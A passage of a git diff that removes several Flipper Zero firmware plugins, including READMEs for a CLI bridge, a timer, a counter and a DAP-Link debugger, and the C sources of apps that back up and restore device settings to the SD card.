b/applications/plugins/caesarcipher/img/1.png deleted file mode 100644 index 93a9bcdbe..000000000 Binary files a/applications/plugins/caesarcipher/img/1.png and /dev/null differ diff --git a/applications/plugins/caesarcipher/img/2.png b/applications/plugins/caesarcipher/img/2.png deleted file mode 100644 index 99d1bcc63..000000000 Binary files a/applications/plugins/caesarcipher/img/2.png and /dev/null differ diff --git a/applications/plugins/calculator/calc.png b/applications/plugins/calculator/calc.png deleted file mode 100644 index 838d7b964..000000000 Binary files a/applications/plugins/calculator/calc.png and /dev/null differ diff --git a/applications/plugins/cli_bridge/.gitignore b/applications/plugins/cli_bridge/.gitignore deleted file mode 100644 index 600d2d33b..000000000 --- a/applications/plugins/cli_bridge/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.vscode \ No newline at end of file diff --git a/applications/plugins/cli_bridge/README.md b/applications/plugins/cli_bridge/README.md deleted file mode 100644 index b6d35fa7f..000000000 --- a/applications/plugins/cli_bridge/README.md +++ /dev/null @@ -1,24 +0,0 @@ -# flipperzero-cli-bridge -Allows CLI control from GUI, giving untethered access to sub-ghz chat, system diagnostics, and more. -# Installation -## Easy way - get a .fap file from the releases page -Swing by the [releases](https://github.com/ranchordo/flipperzero-cli-bridge/releases) page, and download a pre-built .fap file for the latest flipperzero firmware. Use [qFlipper](https://flipperzero.one/update) to copy the .fap file into SD Card/apps/Tools/. MAKE SURE TO UPGRADE FLIPPERZERO FIRMWARE TO NEWEST VERSION BEFORE INSTALLING. -## Hard way - building from source -The following commands will (probably) not work on Windows. If you run Windows, use wsl or a linux vm or something. -```sh -git clone https://github.com/flipperdevices/flipperzero-firmware -cd ./flipperzero-firmware -git clone https://github.com/ranchordo/flipperzero-cli-bridge ./applications_user/flipperzero-cli-bridge/ -./fbt fap_dist APPSRC=applications_user/flipperzero-cli-bridge -# If everything went well, the built .fap file can be found in ./dist/f7-D/apps/apps/Tools/cli_gui.fap -``` -# Usage -On the flipperzero, you should be able to find a new application (CLI-GUI Bridge) under Applications->Tools. Opening it will result in a text prompt - the prompt for the command line. Enter a suitable command (quickly pressing the back button or holding `_` on the keyboard will input a space) such as `subghz chat [freq in hz, e.g. 310000000]`, etc, then navigate to and press the SAVE key. You should then see the command window. Use Up and Down to scroll, and use Left or Center to get back to the text input prompt. A quick tap of the back key while viewing the console output sends a Ctrl-C to the console, and a long press of the left or right keys during text input will navigate back to the console output without executing. -## Exiting the app -Holding and then releasing the back key for at least a second or so (long press) will exit the app normally, meaning that the inner terminal will send Ctrl-C and close. Any sessions will be disconnected. - - -Holding and then releasing the OK key while focusing on the console output for at least a second or so (long press) will exit the app while keeping the terminal open. Terminal output will be cleared the next time you launch the app, but whatever command or session was running previously will be resumed. This is especially handy with subghz chat - exiting the app while keeping the terminal open will not disconnect you from the chat, and the flipper will still vibrate briefly whenever a new message comes in (even if the app is closed). - - -NOTE: USB functionality (qFlipper, normal USB CLI) may not work after running the app (especially after exiting without closing the terminal), simply restart your flipper and all USB functionality will return to normal. diff --git a/applications/plugins/cntdown_timer/README.md b/applications/plugins/cntdown_timer/README.md deleted file mode 100644 index 3cd3d4d53..000000000 --- a/applications/plugins/cntdown_timer/README.md +++ /dev/null @@ -1,11 +0,0 @@ -## Simple count down timer application for flipper zero - -### How to use -`up/down`: set second/minute/hour value. - -`ok`: start/stop counting. - -`long press on ok`: stop counting and reset counter. - -`left/right`: select second/minute/hour value. - diff --git a/applications/plugins/counter/README.md b/applications/plugins/counter/README.md deleted file mode 100644 index 803c68634..000000000 --- a/applications/plugins/counter/README.md +++ /dev/null @@ -1,8 +0,0 @@ -# Dolphin counter -This is a simple plugin for the [Flipper Zero](https://www.flipperzero.one). -It gives you access to a counter which you can increment and decrement using the up and down buttons respectively. - -![preview](https://github.com/Krulknul/dolphin-counter/blob/main/media/preview.gif) - -# How to install this? -I'd recommend using [flipperzero-ufbt](https://github.com/flipperdevices/flipperzero-ufbt), which is a lightweight tool for quickly testing Flipper Zero applications. The app will stay present on your device so it is not necessary to flash the entire firmware. diff --git a/applications/plugins/dap_link/README.md b/applications/plugins/dap_link/README.md deleted file mode 100644 index aead0a60a..000000000 --- a/applications/plugins/dap_link/README.md +++ /dev/null @@ -1,105 +0,0 @@ -# Flipper Zero as CMSIS DAP/DAP Link -Flipper Zero as a [Free-DAP](https://github.com/ataradov/free-dap) based SWD\JTAG debugger. Free-DAP is a free and open source firmware implementation of the [CMSIS-DAP](https://www.keil.com/pack/doc/CMSIS_Dev/DAP/html/index.html) debugger. - -## Protocols -SWD, JTAG , CMSIS-DAP v1 (18 KiB/s), CMSIS-DAP v2 (46 KiB/s), VCP (USB-UART). - -WinUSB for driverless installation for Windows 8 and above. - -## Usage - -### VSCode + Cortex-Debug - Set `"device": "cmsis-dap"` - -
- BluePill configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "configFiles": [ - "interface/cmsis-dap.cfg", - "target/stm32f1x.cfg", - ], -}, - ``` -
- -
- Flipper Zero configuration example - - ```json -{ - "name": "Attach (DAP)", - "cwd": "${workspaceFolder}", - "executable": "./build/latest/firmware.elf", - "request": "attach", - "type": "cortex-debug", - "servertype": "openocd", - "device": "cmsis-dap", - "svdFile": "./debug/STM32WB55_CM4.svd", - "rtos": "FreeRTOS", - "configFiles": [ - "interface/cmsis-dap.cfg", - "./debug/stm32wbx.cfg", - ], - "postAttachCommands": [ - "source debug/flipperapps.py", - ], -}, - ``` -
- -### OpenOCD -Use `interface/cmsis-dap.cfg`. You will need OpenOCD v0.11.0. - -Additional commands: -* `cmsis_dap_backend hid` for CMSIS-DAP v1 protocol. -* `cmsis_dap_backend usb_bulk` for CMSIS-DAP v2 protocol. -* `cmsis_dap_serial DAP_Oyevoxo` use DAP-Link running on Flipper named `Oyevoxo`. -* `cmsis-dap cmd 81` - reboot connected DAP-Link. - -
- Flash BluePill - - ``` -openocd -f interface/cmsis-dap.cfg -f target/stm32f1x.cfg -c init -c "program build/firmware.bin reset exit 0x8000000" - ``` -
- -
- Flash Flipper Zero using DAP v2 protocol - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_backend usb_bulk" -f debug/stm32wbx.cfg -c init -c "program build/latest/firmware.bin reset exit 0x8000000" - ``` -
- -
- Reboot connected DAP-Link on Flipper named Oyevoxo - - ``` -openocd -f interface/cmsis-dap.cfg -c "cmsis_dap_serial DAP_Oyevoxo" -c "transport select swd" -c "adapter speed 4000000" -c init -c "cmsis-dap cmd 81" -c "exit" - ``` -
- -### PlatformIO -Use `debug_tool = cmsis-dap` and `upload_protocol = cmsis-dap`. [Documentation](https://docs.platformio.org/en/latest/plus/debug-tools/cmsis-dap.html#debugging-tool-cmsis-dap). Remember that Windows 8 and above do not require drivers. - -
- BluePill platformio.ini example - - ``` -[env:bluepill_f103c8] -platform = ststm32 -board = bluepill_f103c8 -debug_tool = cmsis-dap -upload_protocol = cmsis-dap - ``` -
diff --git a/applications/plugins/dolphinbackup/application.fam b/applications/plugins/dolphinbackup/application.fam deleted file mode 100644 index 166f9a22b..000000000 --- a/applications/plugins/dolphinbackup/application.fam +++ /dev/null @@ -1,12 +0,0 @@ -App( - appid="DolphinBackup", - name="Dolphin Backup", - apptype=FlipperAppType.EXTERNAL, - entry_point="storage_DolphinBackup_app", - cdefines=["APP_DBACKUP"], - requires=["gui", "storage"], - stack_size=2 * 1024, - order=85, - fap_icon="bckupIcon.png", - fap_category="Tools", -) diff --git a/applications/plugins/dolphinbackup/bckupIcon.png b/applications/plugins/dolphinbackup/bckupIcon.png deleted file mode 100644 index 3f3d48c58..000000000 Binary files a/applications/plugins/dolphinbackup/bckupIcon.png and /dev/null differ diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.c b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.c deleted file mode 100644 index dfaf8e463..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "storage_DolphinBackup_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const storage_DolphinBackup_on_enter_handlers[])(void*) = { -#include "storage_DolphinBackup_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const storage_DolphinBackup_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "storage_DolphinBackup_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const storage_DolphinBackup_on_exit_handlers[])(void* context) = { -#include "storage_DolphinBackup_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers storage_DolphinBackup_scene_handlers = { - .on_enter_handlers = storage_DolphinBackup_on_enter_handlers, - .on_event_handlers = storage_DolphinBackup_on_event_handlers, - .on_exit_handlers = storage_DolphinBackup_on_exit_handlers, - .scene_num = StorageDolphinBackupSceneNum, -}; diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.h b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.h deleted file mode 100644 index b243b16e1..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) StorageDolphinBackup##id, -typedef enum { -#include "storage_DolphinBackup_scene_config.h" - StorageDolphinBackupSceneNum, -} StorageDolphinBackupScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers storage_DolphinBackup_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "storage_DolphinBackup_scene_config.h" -#undef ADD_SCENE diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h deleted file mode 100644 index 270810ffd..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(storage_DolphinBackup, confirm, Confirm) -ADD_SCENE(storage_DolphinBackup, progress, Progress) diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c deleted file mode 100644 index 6e5c16d66..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_confirm.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "../storage_DolphinBackup.h" -#include "gui/canvas.h" -#include "gui/modules/widget_elements/widget_element_i.h" -#include "storage/storage.h" - -static void storage_DolphinBackup_scene_confirm_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - StorageDolphinBackup* app = context; - furi_assert(app); - if(type == InputTypeShort) { - if(result == GuiButtonTypeRight) { - view_dispatcher_send_custom_event( - app->view_dispatcher, DolphinBackupCustomEventConfirm); - } else if(result == GuiButtonTypeLeft) { - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); - } - } -} - -void storage_DolphinBackup_scene_confirm_on_enter(void* context) { - StorageDolphinBackup* app = context; - - widget_add_button_element( - app->widget, - GuiButtonTypeLeft, - "Cancel", - storage_DolphinBackup_scene_confirm_widget_callback, - app); - widget_add_button_element( - app->widget, - GuiButtonTypeRight, - "Confirm", - storage_DolphinBackup_scene_confirm_widget_callback, - app); - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "SD Card Present"); - widget_add_string_multiline_element( - app->widget, - 64, - 32, - AlignCenter, - AlignCenter, - FontSecondary, - "Copy data from\ninternal storage to SD card?"); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageDolphinBackupViewWidget); -} - -bool storage_DolphinBackup_scene_confirm_on_event(void* context, SceneManagerEvent event) { - StorageDolphinBackup* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == DolphinBackupCustomEventConfirm) { - scene_manager_next_scene(app->scene_manager, StorageDolphinBackupProgress); - consumed = true; - } else if(event.event == DolphinBackupCustomEventExit) { - view_dispatcher_stop(app->view_dispatcher); - } - } - - return consumed; -} - -void storage_DolphinBackup_scene_confirm_on_exit(void* context) { - StorageDolphinBackup* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c b/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c deleted file mode 100644 index 6a5ffd9c1..000000000 --- a/applications/plugins/dolphinbackup/scenes/storage_DolphinBackup_scene_progress.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../storage_DolphinBackup.h" - -void storage_DolphinBackup_scene_progress_on_enter(void* context) { - StorageDolphinBackup* app = context; - - widget_add_string_element( - app->widget, 64, 10, AlignCenter, AlignCenter, FontPrimary, "Moving..."); - - view_dispatcher_switch_to_view(app->view_dispatcher, StorageDolphinBackupViewWidget); - - storage_DolphinBackup_perform(); - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); -} - -bool storage_DolphinBackup_scene_progress_on_event(void* context, SceneManagerEvent event) { - StorageDolphinBackup* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - view_dispatcher_stop(app->view_dispatcher); - } else if(event.type == SceneManagerEventTypeBack) { - consumed = true; - } - - return consumed; -} - -void storage_DolphinBackup_scene_progress_on_exit(void* context) { - StorageDolphinBackup* app = context; - widget_reset(app->widget); -} diff --git a/applications/plugins/dolphinbackup/storage_DolphinBackup.c b/applications/plugins/dolphinbackup/storage_DolphinBackup.c deleted file mode 100644 index 7e7bd8f36..000000000 --- a/applications/plugins/dolphinbackup/storage_DolphinBackup.c +++ /dev/null @@ -1,197 +0,0 @@ -#include "storage_DolphinBackup.h" -#include -#include -#include "loader/loader.h" -#include "m-string.h" -#include - -#define TAG "DolphinBackup" - -#define MOVE_SRC "/int" -#define MOVE_DST "/ext" - -static const char* app_dirsDolphinBackup[] = { - "subghz", - "lfrfid", - "nfc", - "infrared", - "ibutton", - "badkb", - ".bt.settings", - ".desktop.settings", - ".dolphin.state", - ".notification.settings", - ".bt.keys", - ".power.settings", -}; - -bool storage_DolphinBackup_perform(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriString* path_src; - FuriString* path_dst; - FuriString* new_path; - path_src = furi_string_alloc(); - path_dst = furi_string_alloc(); - new_path = furi_string_alloc(); - - furi_string_printf(new_path, "%s/dolphin_restorer", MOVE_DST); - storage_common_mkdir(storage, furi_string_get_cstr(new_path)); - furi_string_free(new_path); - for(uint32_t i = 0; i < COUNT_OF(app_dirsDolphinBackup); i++) { - if(i > 5) { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - furi_string_printf( - path_dst, "%s/dolphin_restorer/%s", MOVE_DST, app_dirsDolphinBackup[i]); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_dst)); - storage_common_copy( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - } else { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - furi_string_printf(path_dst, "%s/%s", MOVE_DST, app_dirsDolphinBackup[i]); - storage_common_merge( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_src)); - } - } - - furi_string_free(path_src); - furi_string_free(path_dst); - - furi_record_close(RECORD_STORAGE); - - return false; -} - -static bool storage_DolphinBackup_check(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - FileInfo file_info; - bool state = false; - FuriString* path; - path = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirsDolphinBackup); i++) { - furi_string_printf(path, "%s/%s", MOVE_SRC, app_dirsDolphinBackup[i]); - if(storage_common_stat(storage, furi_string_get_cstr(path), &file_info) == FSE_OK) { - // if((file_info.flags & FSF_DIRECTORY) != 0) { - state = true; - break; - // } - } - } - - furi_string_free(path); - - furi_record_close(RECORD_STORAGE); - - return state; -} - -static bool storage_DolphinBackup_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - StorageDolphinBackup* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool storage_DolphinBackup_back_event_callback(void* context) { - furi_assert(context); - StorageDolphinBackup* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void storage_DolphinBackup_unmount_callback(const void* message, void* context) { - StorageDolphinBackup* app = context; - furi_assert(app); - const StorageEvent* storage_event = message; - - if((storage_event->type == StorageEventTypeCardUnmount) || - (storage_event->type == StorageEventTypeCardMountError)) { - view_dispatcher_send_custom_event(app->view_dispatcher, DolphinBackupCustomEventExit); - } -} - -static StorageDolphinBackup* storage_DolphinBackup_alloc() { - StorageDolphinBackup* app = malloc(sizeof(StorageDolphinBackup)); - - app->gui = furi_record_open(RECORD_GUI); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&storage_DolphinBackup_scene_handlers, app); - - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, storage_DolphinBackup_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, storage_DolphinBackup_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, StorageDolphinBackupViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, StorageDolphinBackupConfirm); - - Storage* storage = furi_record_open(RECORD_STORAGE); - app->sub = furi_pubsub_subscribe( - storage_get_pubsub(storage), storage_DolphinBackup_unmount_callback, app); - furi_record_close(RECORD_STORAGE); - - return app; -} - -static void storage_DolphinBackup_free(StorageDolphinBackup* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - furi_pubsub_unsubscribe(storage_get_pubsub(storage), app->sub); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_NOTIFICATION); - - view_dispatcher_remove_view(app->view_dispatcher, StorageDolphinBackupViewWidget); - widget_free(app->widget); - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t storage_DolphinBackup_app(void* p) { - UNUSED(p); - - if(storage_DolphinBackup_check()) { - StorageDolphinBackup* app = storage_DolphinBackup_alloc(); - notification_message(app->notifications, &sequence_display_backlight_on); - view_dispatcher_run(app->view_dispatcher); - storage_DolphinBackup_free(app); - } else { - FURI_LOG_I(TAG, "Nothing to move"); - } - - return 0; -} - -static void storage_DolphinBackup_mount_callback(const void* message, void* context) { - UNUSED(context); - - const StorageEvent* storage_event = message; - - if(storage_event->type == StorageEventTypeCardMount) { - Loader* loader = furi_record_open("loader"); - loader_start(loader, "StorageDolphinBackup", NULL); - furi_record_close("loader"); - } -} - -int32_t storage_DolphinBackup_start(void* p) { - UNUSED(p); - Storage* storage = furi_record_open(RECORD_STORAGE); - - furi_pubsub_subscribe(storage_get_pubsub(storage), storage_DolphinBackup_mount_callback, NULL); - - furi_record_close(RECORD_STORAGE); - return 0; -} diff --git a/applications/plugins/dolphinbackup/storage_DolphinBackup.h b/applications/plugins/dolphinbackup/storage_DolphinBackup.h deleted file mode 100644 index f9ff74a65..000000000 --- a/applications/plugins/dolphinbackup/storage_DolphinBackup.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include "gui/modules/widget_elements/widget_element_i.h" -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "scenes/storage_DolphinBackup_scene.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - DolphinBackupCustomEventExit, - DolphinBackupCustomEventConfirm, -} DolphinBackupCustomEvent; - -typedef struct { - // records - Gui* gui; - Widget* widget; - NotificationApp* notifications; - - // view managment - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - - FuriPubSubSubscription* sub; - -} StorageDolphinBackup; - -typedef enum { - StorageDolphinBackupViewWidget, -} StorageDolphinBackupView; - -bool storage_DolphinBackup_perform(void); - -#ifdef __cplusplus -} -#endif diff --git a/applications/plugins/dolphinrestorer/application.fam b/applications/plugins/dolphinrestorer/application.fam deleted file mode 100644 index afd263c45..000000000 --- a/applications/plugins/dolphinrestorer/application.fam +++ /dev/null @@ -1,12 +0,0 @@ -App( - appid="DolphinRestorer", - name="Dolphin Restorer", - apptype=FlipperAppType.EXTERNAL, - entry_point="drestorer_app", - cdefines=["APP_DRESTORER"], - requires=["gui", "storage"], - stack_size=2 * 1024, - order=90, - fap_icon="restoreIcon.png", - fap_category="Tools", -) diff --git a/applications/plugins/dolphinrestorer/drestorer.c b/applications/plugins/dolphinrestorer/drestorer.c deleted file mode 100644 index d2c0273d2..000000000 --- a/applications/plugins/dolphinrestorer/drestorer.c +++ /dev/null @@ -1,176 +0,0 @@ -#include "drestorer.h" -#include -#include -#include "loader/loader.h" -#include "m-string.h" -#include - -#define TAG "MoveToInt" - -#define MOVE_SRC "/ext/dolphin_restorer" -#define MOVE_DST "/int" - -static const char* app_dirs[] = { - ".bt.settings", - ".desktop.settings", - ".dolphin.state", - ".notification.settings", - ".bt.keys", - ".power.settings", -}; - -bool drestorer_perform(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - FuriString* path_src; - FuriString* path_dst; - path_src = furi_string_alloc(); - path_dst = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirs); i++) { - furi_string_printf(path_src, "%s/%s", MOVE_SRC, app_dirs[i]); - furi_string_printf(path_dst, "%s/%s", MOVE_DST, app_dirs[i]); - storage_simply_remove_recursive(storage, furi_string_get_cstr(path_dst)); - storage_common_copy( - storage, furi_string_get_cstr(path_src), furi_string_get_cstr(path_dst)); - } - - furi_string_free(path_src); - furi_string_free(path_dst); - - furi_record_close(RECORD_STORAGE); - - return false; -} - -static bool drestorer_check(void) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - FileInfo file_info; - bool state = false; - FuriString* path; - path = furi_string_alloc(); - - for(uint32_t i = 0; i < COUNT_OF(app_dirs); i++) { - furi_string_printf(path, "%s/%s", MOVE_SRC, app_dirs[i]); - if(storage_common_stat(storage, furi_string_get_cstr(path), &file_info) == FSE_OK) { - // if((file_info.flags & FSF_DIRECTORY) != 0) { - state = true; - break; - // } - } - } - - furi_string_free(path); - - furi_record_close(RECORD_STORAGE); - - return state; -} - -static bool drestorer_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - StorageMoveToSd* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool drestorer_back_event_callback(void* context) { - furi_assert(context); - StorageMoveToSd* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void drestorer_unmount_callback(const void* message, void* context) { - StorageMoveToSd* app = context; - furi_assert(app); - const StorageEvent* storage_event = message; - - if((storage_event->type == StorageEventTypeCardUnmount) || - (storage_event->type == StorageEventTypeCardMountError)) { - view_dispatcher_send_custom_event(app->view_dispatcher, MoveToSdCustomEventExit); - } -} - -static StorageMoveToSd* drestorer_alloc() { - StorageMoveToSd* app = malloc(sizeof(StorageMoveToSd)); - - app->gui = furi_record_open(RECORD_GUI); - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&drestorer_scene_handlers, app); - - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, drestorer_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, drestorer_back_event_callback); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, StorageMoveToSdViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, StorageMoveToSdConfirm); - - Storage* storage = furi_record_open(RECORD_STORAGE); - app->sub = furi_pubsub_subscribe(storage_get_pubsub(storage), drestorer_unmount_callback, app); - furi_record_close(RECORD_STORAGE); - - return app; -} - -static void drestorer_free(StorageMoveToSd* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - furi_pubsub_unsubscribe(storage_get_pubsub(storage), app->sub); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_NOTIFICATION); - - view_dispatcher_remove_view(app->view_dispatcher, StorageMoveToSdViewWidget); - widget_free(app->widget); - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t drestorer_app(void* p) { - UNUSED(p); - - if(drestorer_check()) { - StorageMoveToSd* app = drestorer_alloc(); - notification_message(app->notifications, &sequence_display_backlight_on); - view_dispatcher_run(app->view_dispatcher); - drestorer_free(app); - } else { - FURI_LOG_I(TAG, "Nothing to move"); - } - - return 0; -} - -static void drestorer_mount_callback(const void* message, void* context) { - UNUSED(context); - - const StorageEvent* storage_event = message; - - if(storage_event->type == StorageEventTypeCardMount) { - Loader* loader = furi_record_open("loader"); - loader_start(loader, "StorageMoveToSd", NULL); - furi_record_close("loader"); - } -} - -int32_t drestorer_start(void* p) { - UNUSED(p); - Storage* storage = furi_record_open(RECORD_STORAGE); - - furi_pubsub_subscribe(storage_get_pubsub(storage), drestorer_mount_callback, NULL); - - furi_record_close(RECORD_STORAGE); - return 0; -} diff --git a/applications/plugins/dolphinrestorer/drestorer.h b/applications/plugins/dolphinrestorer/drestorer.h deleted file mode 100644 index c62adab37..000000000 --- a/applications/plugins/dolphinrestorer/drestorer.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once -#include "gui/modules/widget_elements/widget_element_i.h" -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "scenes/drestorer_scene.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - MoveToSdCustomEventExit, - MoveToSdCustomEventConfirm, -} MoveToSdCustomEvent; - -typedef struct { - // records - Gui* gui; - Widget* widget; - NotificationApp* notifications; - - // view managment - SceneManager* scene_manager; - ViewDispatcher* view_dispatcher; - - FuriPubSubSubscription* sub; - -} StorageMoveToSd; - -typedef enum { - StorageMoveToSdViewWidget, -} StorageMoveToSdView; - -bool drestorer_perform(void); - -#ifdef __cplusplus -} -#endif diff --git a/applications/plugins/dolphinrestorer/restoreIcon.png b/applications/plugins/dolphinrestorer/restoreIcon.png deleted file mode 100644 index 752be3bce..000000000 Binary files a/applications/plugins/dolphinrestorer/restoreIcon.png and /dev/null differ diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene.c b/applications/plugins/dolphinrestorer/scenes/drestorer_scene.c deleted file mode 100644 index 7a183b695..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "drestorer_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const drestorer_on_enter_handlers[])(void*) = { -#include "drestorer_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const drestorer_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "drestorer_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const drestorer_on_exit_handlers[])(void* context) = { -#include "drestorer_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers drestorer_scene_handlers = { - .on_enter_handlers = drestorer_on_enter_handlers, - .on_event_handlers = drestorer_on_event_handlers, - .on_exit_handlers = drestorer_on_exit_handlers, - .scene_num = StorageMoveToSdSceneNum, -}; diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h deleted file mode 100644 index 80a07e22e..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_config.h +++ /dev/null @@ -1,2 +0,0 @@ -ADD_SCENE(drestorer, confirm, Confirm) -ADD_SCENE(drestorer, progress, Progress) diff --git a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c b/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c deleted file mode 100644 index f9de4bccd..000000000 --- a/applications/plugins/dolphinrestorer/scenes/drestorer_scene_confirm.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "../drestorer.h" -#include "gui/canvas.h" -#include "gui/modules/widget_elements/widget_element_i.h" -#include "storage/storage.h" - -static void - drestorer_scene_confirm_widget_callback(GuiButtonType result, InputType type, void* context) { - 